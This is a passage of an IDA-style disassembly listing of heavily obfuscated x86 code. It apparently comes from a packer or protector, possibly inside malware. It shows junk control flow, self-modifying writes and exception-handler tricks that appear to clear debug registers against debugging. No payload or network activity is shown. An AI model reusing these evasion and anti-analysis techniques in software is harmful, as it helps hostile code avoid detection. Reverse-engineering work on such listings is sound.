dword ptr [ecx], 10013h jmp loc_43EC58 ; --------------------------------------------------------------------------- align 4 dd 94F68100h, 81EA2B44h, 6A2B8AE6h, 0CEC68120h, 3BBF9100h dd 6E95EC6h, 8100002Ch, 0CD976FF0h, 22F5E8A5h, 0 dd 0FFF105E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_439F9B: ; CODE XREF: sub_439ED1-1E76j jmp nullsub_34 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_439FA2: ; CODE XREF: _802izwe5:00437278j jmp loc_43D4AB ; --------------------------------------------------------------------------- loc_439FA7: ; CODE XREF: sub_439ED1+122Ep xchg edi, [esp-8+arg_4] pop edi pop edi call sub_438DE4 jmp loc_43CCE4 ; --------------------------------------------------------------------------- dw 0C300h dd 4CE90000h, 0E900004Bh, 5021h, 0FF646700h, 67000036h dd 268964h, 31D5E900h db 2 dup(0) ; --------------------------------------------------------------------------- locret_439FD6: ; CODE XREF: sub_43D067+5j retn ; --------------------------------------------------------------------------- loc_439FD7: ; CODE XREF: sub_43F688-4014j jmp loc_438EAB ; --------------------------------------------------------------------------- dd 0BBE90000h, 3Fh, 0FFFCBAE9h, 0C3FFh ; --------------------------------------------------------------------------- loc_439FEC: ; CODE XREF: sub_439ED1+3130j jmp loc_4389C0 ; --------------------------------------------------------------------------- align 2 jmp loc_43E0E8 ; --------------------------------------------------------------------------- align 4 loc_439FF8: ; CODE XREF: sub_439ED1+C86j jmp loc_4392FA ; --------------------------------------------------------------------------- db 2 dup(0), 51h ; --------------------------------------------------------------------------- jmp loc_43C41E ; --------------------------------------------------------------------------- align 2 dw 0F167h dd 0FFD576E9h, 646700FFh, 2689h, 0FFD1C0E9h, 43E859FFh dd 31h, 4D21E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A026: ; CODE XREF: sub_439ED1:loc_43BC5Cj jnz loc_43B188 jmp loc_438093 ; --------------------------------------------------------------------------- align 2 dw 0F1F0h ; --------------------------------------------------------------------------- jmp loc_43D054 ; --------------------------------------------------------------------------- xchg edi, [esp+0] pop edi add eax, ebp push edx jmp loc_43DF54 ; --------------------------------------------------------------------------- loc_43A045: ; CODE XREF: _802izwe5:loc_43D4C2j add ecx, 27E9281Ah jmp loc_438FDC ; --------------------------------------------------------------------------- loc_43A050: ; CODE XREF: sub_438378:loc_43C314j push offset byte_43F881 jmp nullsub_23 ; --------------------------------------------------------------------------- align 4 loc_43A05C: ; CODE XREF: sub_43F18B:loc_43828Cj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43EE91 ; --------------------------------------------------------------------------- cdq xchg edx, [esp-0Ch+arg_8] pop edx pop esi mov [ecx], eax jmp loc_437BF4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A08F: ; CODE XREF: _802izwe5:00439B5Aj mov ecx, 438BF9h jmp loc_43E395 ; --------------------------------------------------------------------------- db 2 dup(0), 87h db 0E9h ; --------------------------------------------------------------------------- loc_43A09D: ; DATA XREF: sub_43C65A+5EFo pop dword ptr fs:0 xchg eax, [esp-18h+arg_10] pop eax jmp loc_43C4F4 ; --------------------------------------------------------------------------- xchg ebp, ebx jmp loc_437BD4 ; --------------------------------------------------------------------------- loc_43A0B3: ; CODE XREF: sub_439ED1:loc_43E1E4j or ecx, 4B3E4EFBh xor ecx, 0D79623D1h loc_43A0BF: ; DATA XREF: _802izwe5:0043B17Eo sub ebp, ecx call sub_43DF77 jmp loc_43C6CE ; --------------------------------------------------------------------------- add esi, 840356E3h add esi, ebp push ecx push 0ADE61BA4h pop ecx rol ecx, 1Dh and ecx, 3D6B22AAh jmp loc_43ADA3 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A0E9: ; CODE XREF: _802izwe5:00438F7Cp push dword ptr fs:0 mov fs:0, esp jmp loc_43C3CC ; --------------------------------------------------------------------------- dw 8100h ; --------------------------------------------------------------------------- rol byte ptr [eax], 0A9h nop xchg eax, esi call sub_43E9D9 loc_43A106: ; CODE XREF: _802izwe5:0043F95Dj jmp loc_43C378 ; --------------------------------------------------------------------------- loc_43A10B: ; CODE XREF: sub_439ED1+3D6j jmp loc_43B81C ; --------------------------------------------------------------------------- dd 37E90000h, 3, 0E900C300h, 5555h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A122: ; CODE XREF: _802izwe5:0043BCD2j jmp loc_43B507 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43A129: ; CODE XREF: sub_439ED1+12CAj jmp loc_43E385 ; --------------------------------------------------------------------------- loc_43A12E: ; CODE XREF: sub_43E4C6:loc_43BAD1j dec byte ptr [ebp-1DD1h] loc_43A134: ; CODE XREF: sub_43CC54:loc_43835Dj ; _802izwe5:0043CF8Dj ... push 0C9B49237h pop eax or eax, 9B87441Dh push edi mov edi, offset word_43BA9A jmp loc_439E70 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43A14D: ; CODE XREF: _802izwe5:00437B33j and edi, 90CCC736h add edi, 0F13A5FF3h xor edi, 1FEE603h add ecx, edi pop edi mov dword ptr [ecx], offset loc_439B4F xor eax, eax pop ecx jmp nullsub_25 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A172: ; CODE XREF: _802izwe5:0043EB45j jl loc_43CA6F jz loc_4399F7 jmp loc_43CA63 ; --------------------------------------------------------------------------- align 4 loc_43A184: ; CODE XREF: _802izwe5:0043F223j xor esi, 609B5067h loc_43A18A: ; DATA XREF: sub_439ED1+1356o pop dword ptr fs:0 xchg eax, [esp-1Ch+arg_14] xchg ebx, [esp-1Ch+arg_14] jmp loc_43A9D4 ; --------------------------------------------------------------------------- align 4 jbe loc_43B7BB xchg edx, [ebp+0] loc_43A1A5: ; DATA XREF: _802izwe5:0043EB11o pop dword ptr fs:0 xchg eax, [esp-20h+arg_18] pop eax add eax, ebp push edx jmp loc_4380F1 ; --------------------------------------------------------------------------- align 4 dd 0A7E9F1F0h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_43A1BF: ; CODE XREF: sub_43C65A:loc_43C56Cj add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_4399D8 ; --------------------------------------------------------------------------- loc_43A1E2: ; CODE XREF: _802izwe5:0043BF81j cmp esi, edx jmp loc_437BE0 ; --------------------------------------------------------------------------- align 2 loc_43A1EA: ; CODE XREF: _802izwe5:0043DCACj popf loc_43A1EB: ; CODE XREF: _802izwe5:0043F0D2p call sub_43DB4A jmp loc_43ADBA ; --------------------------------------------------------------------------- db 67h, 64h, 89h dd 0E9000026h, 0FFFFE611h db 2 dup(0) ; --------------------------------------------------------------------------- locret_43A202: ; CODE XREF: sub_439ED1-6CDj retn ; --------------------------------------------------------------------------- shr esi, 1Ah jmp loc_438202 ; --------------------------------------------------------------------------- align 4 locret_43A20C: ; CODE XREF: _802izwe5:004393DCj retn ; --------------------------------------------------------------------------- align 2 loc_43A20E: ; CODE XREF: sub_439ED1+69j adc esi, edi loc_43A210: ; DATA XREF: sub_439ED1:loc_43A252o pop dword ptr fs:0 xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A21F: ; CODE XREF: _802izwe5:0043EE4Ej jmp near ptr byte_437811+2 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A225: ; CODE XREF: sub_43E51B+10j jmp near ptr dword_437340+76h ; --------------------------------------------------------------------------- align 4 dd 0FFF930E9h db 0FFh ; --------------------------------------------------------------------------- loc_43A231: ; CODE XREF: sub_438DE4+Cj jmp loc_43E2B4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A237: ; CODE XREF: sub_43E40D:loc_4378F7j push 3212215Bh pop edi sub edi, 0E0727D62h add edi, 7E6F9981h cmp eax, edi jmp loc_43EA5F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A252: ; CODE XREF: sub_43C65A:loc_438DAFj mov dword ptr [ecx], offset loc_43A210 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A25D: ; CODE XREF: sub_43C65A+C12j jmp loc_43BA03 ; --------------------------------------------------------------------------- align 4 jmp loc_43CFB5 ; --------------------------------------------------------------------------- jmp loc_43B5BF ; --------------------------------------------------------------------------- loc_43A26E: ; CODE XREF: sub_439ED1+4B6Bp push dword ptr fs:0 jmp loc_43F1E5 ; --------------------------------------------------------------------------- align 2 loc_43A27A: ; CODE XREF: _802izwe5:00439C88j mov ecx, esp push esi push 26F4DFCh pop esi xor esi, 0F140CEA5h loc_43A289: ; CODE XREF: _802izwe5:loc_43E4C0j or esi, 32E6E4A7h jmp loc_43A7CC ; --------------------------------------------------------------------------- call ds:dword_4270C0 ; ExitProcess push eax push 786C1C0Bh pop eax or eax, 0D5AB5A43h jmp loc_43A10B ; --------------------------------------------------------------------------- dd 0D8810000h, 248C2866h, 1704E9h, 0E9C18B00h, 3D1Eh, 0C870000h dd 64675924h, 2689h, 0FFF551E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- locret_43A2D3: ; CODE XREF: sub_43D6F6-A54j retn ; --------------------------------------------------------------------------- dd 0FFE356E9h, 0E90000FFh, 0BDEh, 0EF2DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43A2E6: ; CODE XREF: _802izwe5:00437A92j jmp nullsub_24 ; --------------------------------------------------------------------------- align 4 dd 7E850F00h, 8100002Bh, 0F7969CCDh, 0F3C08110h, 0B1451CBh dd 0D9F1E9F8h, 1C7FFFFh, 43F8B6h, 0C359C033h ; --------------------------------------------------------------------------- loc_43A310: ; CODE XREF: sub_439ED1:loc_43BDD5p push dword ptr fs:0 jmp loc_43B71F ; --------------------------------------------------------------------------- loc_43A31B: ; CODE XREF: sub_43DA03:loc_43BF78j mov edx, [eax] call sub_438C04 jmp loc_437668 ; --------------------------------------------------------------------------- align 4 dd 0E9F82300h, 556Bh, 1379840Fh, 0A3E90000h ; CODE XREF: _802izwe5:0043C5D4j db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43A33B: ; CODE XREF: sub_439ED1:loc_438CE2j pop edi mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset byte_43F00D xor eax, eax jmp loc_4392B2 ; --------------------------------------------------------------------------- loc_43A359: ; CODE XREF: _802izwe5:0043E6E8j pop edi mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax jmp loc_43EB87 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 0D0850F00h, 55000044h, 2C87E88Bh, 87585524h, 53E92404h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_43A38B: ; CODE XREF: sub_439ED1:loc_438877p xchg ecx, [esp+0] pop ecx push 98261B8Ah pop esi jmp loc_43B8E5 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A39B: ; CODE XREF: _802izwe5:0043770Fj or ebx, 0DDFA2538h call sub_43B338 add cl, ch ; CODE XREF: sub_43F19D+Cj dec edx dec esp ; --------------------------------------------------------------------------- dw 0 db 0 ; --------------------------------------------------------------------------- loc_43A3AD: ; CODE XREF: _802izwe5:0043D8EBj jmp loc_43B315 ; --------------------------------------------------------------------------- dw 0E900h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FAh, 2 dup(0FFh) dd 8A0F0000h, 0FFFFD57Eh ; --------------------------------------------------------------------------- loc_43A3C0: ; CODE XREF: sub_439ED1:loc_437C24j xor ebx, 53562366h add ecx, ebx pop ebx mov [ecx], eax add ecx, 4 jmp loc_43EF84 ; --------------------------------------------------------------------------- align 4 dd 0B4FCE781h, 2BE95C50h, 0FFFFD6h db 0 ; --------------------------------------------------------------------------- loc_43A3E5: ; CODE XREF: sub_43C65A:loc_43AF02j mov dword ptr [ecx], 437311h xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- align 10h loc_43A3F0: ; CODE XREF: sub_43DDE3+Cj jmp loc_43B400 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A3F7: ; CODE XREF: sub_43BE3C-2DC1p push dword ptr fs:0 jmp loc_43AFBB ; --------------------------------------------------------------------------- or ebp, edi jmp sub_43E9D9 ; --------------------------------------------------------------------------- locret_43A409: ; CODE XREF: sub_439ED1-19ADj retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A40B: ; CODE XREF: sub_43C0FF+5j jmp loc_43C9E5 ; --------------------------------------------------------------------------- loc_43A410: ; CODE XREF: _802izwe5:0043B2BEj jmp loc_43F842 ; --------------------------------------------------------------------------- align 2 dw 0E887h dd 5E243487h, 50240487h, 92585Dh, 0FFFF4AE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43A42A: ; CODE XREF: sub_439ED1-1443j jmp loc_43812F ; --------------------------------------------------------------------------- add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43AB70 ; --------------------------------------------------------------------------- dd 8C0F0000h, 2B39h, 3F21E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A45A: ; CODE XREF: sub_43C65A:loc_43EBEBj sub ebp, 8884C76Ch jb loc_43977C xchg ebp, [edi] jmp loc_438A82 ; --------------------------------------------------------------------------- loc_43A46D: ; CODE XREF: _802izwe5:0043F2CDj sbb edx, 8605B22h jmp loc_43A613 ; --------------------------------------------------------------------------- dd 0BD08C7C1h, 45F3881Ch, 0D01EF081h, 0C68109C3h, 11E196C4h dd 6741CE81h, 3E91A19h, 0FFFFD7h db 0 ; --------------------------------------------------------------------------- loc_43A499: ; CODE XREF: _802izwe5:00438DFFj xor esi, 0F2BF968Bh mov ebx, 0AB3784F2h jmp loc_438E78 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A4AB: ; CODE XREF: sub_437DA2:loc_4397CBj push offset byte_43BECF jmp loc_43B9F5 ; --------------------------------------------------------------------------- push 0F59AD355h jmp loc_43C287 ; --------------------------------------------------------------------------- align 10h loc_43A4C0: ; CODE XREF: _802izwe5:loc_43F15Ej push dword ptr fs:0 mov fs:0, esp jmp loc_43E460 ; --------------------------------------------------------------------------- add edx, 0B0163467h and edx, 87A5331Dh push ecx mov ecx, offset word_43C2DA jmp loc_43DAF5 ; --------------------------------------------------------------------------- loc_43A4E8: ; CODE XREF: sub_439ED1-22F8j push ecx jmp loc_43AD92 ; --------------------------------------------------------------------------- loc_43A4EE: ; CODE XREF: sub_43C65A+30CDj mov dword ptr [ecx], offset loc_439275 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- dd 0D8ADE900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43A4FF: ; CODE XREF: sub_439ED1+188Dj jmp loc_43EC7B ; --------------------------------------------------------------------------- dd 0D8C0830Fh, 820FFFFFh, 4F85h, 0FFD200E9h db 0FFh ; --------------------------------------------------------------------------- loc_43A515: ; CODE XREF: sub_439ED1+35DDp xchg edx, [esp+0] pop edx pushf push 8CD8BDD4h pop edi xor edi, 0A683604Fh add edi, 963DB40Ah jnb loc_4384B4 loc_43A532: ; CODE XREF: sub_439ED1-1F1Fj jmp loc_43813F ; --------------------------------------------------------------------------- align 4 loc_43A538: ; CODE XREF: sub_439ED1+1535j mov byte ptr [ecx], 0Fh pop ecx push ebp mov ebp, eax xchg ebp, [esp+0] mov eax, offset loc_43A84D jmp loc_43B542 ; --------------------------------------------------------------------------- db 2 dup(0) word_43A54E dw 0CCF0h ; CODE XREF: sub_43F990-6647j ; --------------------------------------------------------------------------- shl ecx, 1Ch jmp loc_437C09 ; --------------------------------------------------------------------------- dd 24148700h, 68FC4589h, 4BFE58CCh, 0F363B951h, 0F5E90043h dd 13h, 11CEC100h, 8381DB81h, 0B8E9AEEBh, 2Ah, 4873089h dd 0C1815824h, 10h, 41E9E9h db 0 ; --------------------------------------------------------------------------- loc_43A591: ; CODE XREF: _802izwe5:loc_438F4Cj shl eax, 2 add ecx, ebx add esi, eax and ebp, edx jmp loc_43F44F ; --------------------------------------------------------------------------- align 10h loc_43A5A0: ; CODE XREF: _802izwe5:loc_4383EDj xchg eax, [esp+0] pop eax push 0EEE4523Eh pop edi xor edi, 32E71208h add edi, 23FCBFE2h add ecx, edi jmp loc_438CE2 ; --------------------------------------------------------------------------- loc_43A5BD: ; CODE XREF: sub_43EEEF-2318j mov byte ptr [edi], 0C6h pop edi lea eax, sub_43D7EE push 0 retn ; --------------------------------------------------------------------------- dw 99E8h dd 0FFFFE2h db 0 ; --------------------------------------------------------------------------- loc_43A5D1: ; CODE XREF: sub_439ED1-73Dj jmp loc_43D777 ; --------------------------------------------------------------------------- align 4 xor ecx, 0EDFDEB0Fh add edx, ecx pop ecx mov eax, [ebp-10h] jmp loc_43C447 ; --------------------------------------------------------------------------- loc_43A5E9: ; CODE XREF: _802izwe5:0043BF8Cj test eax, 475721B2h jmp loc_43AB13 ; --------------------------------------------------------------------------- loc_43A5F4: ; CODE XREF: sub_43E066:loc_43EDE1j mov fs:0, esp jmp loc_43CCC4 ; --------------------------------------------------------------------------- loc_43A5FF: ; CODE XREF: sub_43C50C+33EFj js loc_4378DB or edi, ebp jmp loc_43C631 ; --------------------------------------------------------------------------- dd 3AE95100h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_43A613: ; CODE XREF: sub_439ED1+5A2j xchg edi, ebx sub ebx, eax loc_43A617: ; DATA XREF: _802izwe5:loc_43CE5Fo pop dword ptr fs:0 xchg eax, [esp-8+arg_4] pop eax inc dword ptr [ebp-10h] loc_43A624: ; CODE XREF: _802izwe5:00439718j cmp dword ptr [ebp-8], 0 jmp loc_43E01B ; --------------------------------------------------------------------------- align 2 locret_43A62E: ; CODE XREF: sub_43D7EE+5j retn ; --------------------------------------------------------------------------- align 10h loc_43A630: ; CODE XREF: sub_43EB57+Bj jmp nullsub_36 ; --------------------------------------------------------------------------- align 2 loc_43A636: ; CODE XREF: sub_439ED1+3719j jmp loc_43C4BE ; --------------------------------------------------------------------------- jmp loc_43E083 ; --------------------------------------------------------------------------- dword_43A640 dd 0D78B0000h, 0C5F2815Fh, 0F71A5ED0h, 40C2h, 4C8EE900h ; CODE XREF: _802izwe5:loc_437C3Bj dd 0 dword_43A658 dd 68241C87h, 439896h, 0FFFDBFE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_43A667: ; CODE XREF: sub_439ED1:loc_43BBF8j pop ecx retn ; --------------------------------------------------------------------------- align 2 dw 16E9h dd 0FFFFD2h db 0 ; --------------------------------------------------------------------------- loc_43A671: ; CODE XREF: _802izwe5:0043EE85j jmp loc_439331 ; --------------------------------------------------------------------------- align 4 loc_43A678: ; CODE XREF: sub_439ED1+3C55j jmp loc_43AE17 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A67F: ; CODE XREF: sub_439ED1:loc_43E2FCp push dword ptr fs:0 mov fs:0, esp jmp loc_4373F3 ; --------------------------------------------------------------------------- dd 6AC7815Fh, 811F6DB5h, 7FF4FBE7h, 8FC78113h, 34816F7h dd 3895FDFh, 0E9241487h, 0FFFFCCF6h db 0 ; --------------------------------------------------------------------------- loc_43A6B1: ; CODE XREF: sub_43C65A:loc_43F80Ej mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax jmp loc_43B2D0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A6CA: ; CODE XREF: _802izwe5:0043E94Fj sub ebp, ecx pop dword ptr fs:0 xchg eax, [esp+0] pop eax mov eax, [eax] jmp loc_43E071 ; --------------------------------------------------------------------------- align 2 loc_43A6DE: ; DATA XREF: sub_439ED1+59F5o jnz loc_43EC04 loc_43A6E4: ; CODE XREF: sub_439ED1:loc_43DD06j push eax loc_43A6E5: ; CODE XREF: _802izwe5:loc_43F1F0j mov eax, ecx xchg eax, [esp+0] mov ecx, offset loc_43C880 jmp loc_43B8AF ; --------------------------------------------------------------------------- mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_437734 ; --------------------------------------------------------------------------- align 2 loc_43A71A: ; CODE XREF: sub_439ED1-192Fj pop ebx mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43A9FE ; --------------------------------------------------------------------------- dw 0BF00h dd 0CF27941Dh, 0E91BE2C1h, 1214h ; --------------------------------------------------------------------------- loc_43A740: ; CODE XREF: sub_439ED1+413Bj mov byte ptr [edx], 0C7h xchg ecx, [esp+4+var_4] mov edx, ecx pop ecx push 1193954Bh xchg esi, [esp+4+var_4] add edx, ebp jmp loc_439949 ; --------------------------------------------------------------------------- loc_43A758: ; CODE XREF: _802izwe5:0043D41Dj jge loc_438531 loc_43A75E: ; CODE XREF: sub_439ED1+42E8p push (offset loc_43C962+1) jmp nullsub_8 ; --------------------------------------------------------------------------- dd 24148700h, 6852515Ah, 0E8F891A2h, 24EA815Ah, 0E995020Eh dd 4240h ; --------------------------------------------------------------------------- locret_43A780: ; CODE XREF: sub_43DBE4+Fj retn ; --------------------------------------------------------------------------- align 2 loc_43A782: ; CODE XREF: sub_43D573+1D32j jmp loc_43B757 ; --------------------------------------------------------------------------- align 4 jmp loc_43CAD5 ; --------------------------------------------------------------------------- loc_43A78D: ; CODE XREF: sub_439ED1+14B2j test ecx, esi pop esi jmp loc_43DD84 ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh dd 0B65F68E9h, 0E90043h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_43A7A3: ; CODE XREF: sub_43ECCE:loc_43C3A9j mov byte ptr [ecx], 9Dh pop ecx mov edi, offset word_438AB2 jmp loc_43F3CD ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- cmp al, 24h mov edx, edi loc_43A7B8: ; CODE XREF: sub_43DA03:loc_43BBC8j pop edi call sub_43F7B0 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A7BF: ; CODE XREF: sub_43BE3C+151Aj jmp near ptr word_437276+1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A7C5: ; CODE XREF: sub_437775:loc_43777Dj jmp loc_43D9D7 ; --------------------------------------------------------------------------- align 4 loc_43A7CC: ; CODE XREF: sub_439ED1+3BEj add esi, 0C101811h add ecx, esi pop esi mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] jmp loc_43C486 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_43A7EB: ; CODE XREF: sub_439ED1+3B0Ej retn ; --------------------------------------------------------------------------- loc_43A7EC: ; CODE XREF: _802izwe5:0043D484j jmp loc_438529 ; --------------------------------------------------------------------------- align 2 jmp loc_43D2B2 ; --------------------------------------------------------------------------- loc_43A7F7: ; DATA XREF: sub_439ED1+3B09o pushf push 3F9C2F0Ah pop eax xor eax, 663611D5h jmp loc_43E602 ; --------------------------------------------------------------------------- align 2 dw 0EBC1h dd 0CE31E914h, 0FFFFh, 5E243487h, 843E6852h, 815A8A9Dh dd 23697CF2h, 0C2C281A1h, 0E9D44112h, 0FFFFF497h, 0D5850000h dd 15AFE9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_43A83B: ; CODE XREF: sub_439ED1:loc_43ACD4j or ebx, 21B871A0h sub ebx, 0EAAF0C54h add ebx, 0DA61ACB9h loc_43A84D: ; DATA XREF: sub_439ED1+671o xchg eax, ebx fucomp st inc edi retf ; --------------------------------------------------------------------------- dw 0FFFFh db 0 ; --------------------------------------------------------------------------- loc_43A855: ; CODE XREF: _802izwe5:loc_43EAC7j xor ecx, 0EBFEAFD8h push edi mov edi, (offset locret_439490+1) jmp loc_43E79D ; --------------------------------------------------------------------------- push 8ED29EA1h loc_43A86B: ; DATA XREF: _802izwe5:0043B8D9o pop dword ptr fs:0 xchg eax, [esp-0Ch+arg_8] pop eax pushf jmp loc_43BDB1 ; --------------------------------------------------------------------------- align 4 loc_43A87C: ; CODE XREF: sub_439ED1:loc_437C44j sub edi, 0AE3947ACh and edi, 0DE5BF4BCh xor edi, 4C007004h add ecx, edi pop edi mov dword ptr [ecx], offset loc_43915B xor eax, eax jmp loc_43AF82 ; --------------------------------------------------------------------------- dw 0C300h ; --------------------------------------------------------------------------- jbe loc_43F93D pop dword ptr fs:0 xchg eax, [esp-14h+arg_C] xchg esi, [esp-14h+arg_C] mov eax, esi jmp loc_43C4DF ; --------------------------------------------------------------------------- align 2 locret_43A8BA: ; CODE XREF: _802izwe5:loc_43D5A0j retn ; --------------------------------------------------------------------------- loc_43A8BB: ; CODE XREF: sub_43DA03-19E8j jmp loc_43D443 ; --------------------------------------------------------------------------- dd 36FF6467h, 64670000h, 2689h, 834E9h, 0E99C0000h, 3254h db 0 ; --------------------------------------------------------------------------- loc_43A8D9: ; CODE XREF: sub_43D40D:loc_43C4B8j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] jmp loc_43E045 ; --------------------------------------------------------------------------- db 0 byte_43A8F7 db 3Eh ; CODE XREF: sub_439ED1+10F0j db 0CCh ; --------------------------------------------------------------------------- jmp loc_439226 ; --------------------------------------------------------------------------- dw 1B00h db 0D9h byte_43A901 db 67h, 64h, 8Fh ; DATA XREF: _802izwe5:004391A3o dd 87000006h, 68582404h, 86D2AE05h, 0FFE28FE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- locret_43A917: ; CODE XREF: sub_439ED1:loc_43D6DAj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A91A: ; CODE XREF: sub_43F7B0+8j jmp loc_43E1B7 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_43A921: ; CODE XREF: sub_439ED1+3A2Fj jmp near ptr dword_437340+9Eh ; --------------------------------------------------------------------------- align 4 loc_43A928: ; CODE XREF: _802izwe5:0043C5C4j jmp loc_43E56B ; --------------------------------------------------------------------------- loc_43A92D: ; CODE XREF: sub_4382E8+9j pop eax push offset word_43D54E jmp nullsub_38 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A93A: ; CODE XREF: _802izwe5:00437AFDj rol eax, 0Ch add eax, 8B059300h jmp loc_43AA5C ; --------------------------------------------------------------------------- loc_43A948: ; CODE XREF: _802izwe5:004396B3j jnz loc_437963 jg loc_43C652 loc_43A954: ; CODE XREF: _802izwe5:loc_439692j xor edx, 13540207h push edi push 11F839E9h pop edi and edi, 4A2BFEFEh rol edi, 19h jmp loc_43AE09 ; --------------------------------------------------------------------------- align 10h db 0 byte_43A971 db 81h, 0C2h, 2Ch ; DATA XREF: sub_43F688-81Bo dd 87803131h db 14h, 24h, 0F6h ; --------------------------------------------------------------------------- loc_43A97B: ; CODE XREF: sub_439ED1+31BEj jmp loc_43B763 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43A982: ; CODE XREF: sub_439ED1+B0Bj pop eax jmp loc_43EA16 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43A989: ; CODE XREF: sub_43BE3C+1825j ; sub_43DA03+C83j push offset loc_4393D2 jmp loc_43EF7F ; --------------------------------------------------------------------------- align 4 dd 0FF646700h, 67000036h, 268964h, 0E9F13600h, 0FFFFEBF6h ; --------------------------------------------------------------------------- loc_43A9A8: ; CODE XREF: sub_439ED1:loc_43BE15j push 70984923h pop eax rol eax, 9 xor eax, 5F0F3429h add eax, 0C570602Fh jmp loc_43F267 ; --------------------------------------------------------------------------- dw 6852h dd 0BF1BC8BAh, 8B241C87h, 0A5E95BD3h, 0FFFFE7h ; --------------------------------------------------------------------------- loc_43A9D4: ; CODE XREF: sub_439ED1+2C5j mov eax, ebx pop ebx xchg eax, [esp-20h+arg_18] or edx, edx jz loc_43A982 jmp loc_43F595 ; --------------------------------------------------------------------------- align 4 cmp ebx, esi jmp loc_43CED2 ; --------------------------------------------------------------------------- align 10h loc_43A9F0: ; CODE XREF: _802izwe5:loc_439AA9j jnz loc_43DE3B ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_43A9F8: ; CODE XREF: _802izwe5:0043D890j jmp loc_43EB9B ; --------------------------------------------------------------------------- align 2 loc_43A9FE: ; CODE XREF: sub_439ED1+85Cj jmp loc_43EE54 ; --------------------------------------------------------------------------- align 4 dd 0E9F50B00h, 3429h, 0C300h ; CODE XREF: _802izwe5:loc_43F157j ; --------------------------------------------------------------------------- loc_43AA10: ; CODE XREF: _802izwe5:00438A95j jmp loc_43ADE7 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h ; --------------------------------------------------------------------------- inc ebx and eax, 0 jmp loc_438D8A ; --------------------------------------------------------------------------- jmp loc_439A60 ; --------------------------------------------------------------------------- dd 40680000h, 873A0FCFh, 0C28B2414h, 1EC0C15Ah, 0FFED32E9h dd 0E96800FFh, 5ABEB3A2h, 9CC9EA81h, 0C281E6ECh, 4C94E1BBh dd 0FFE046E8h db 0FFh ; --------------------------------------------------------------------------- loc_43AA55: 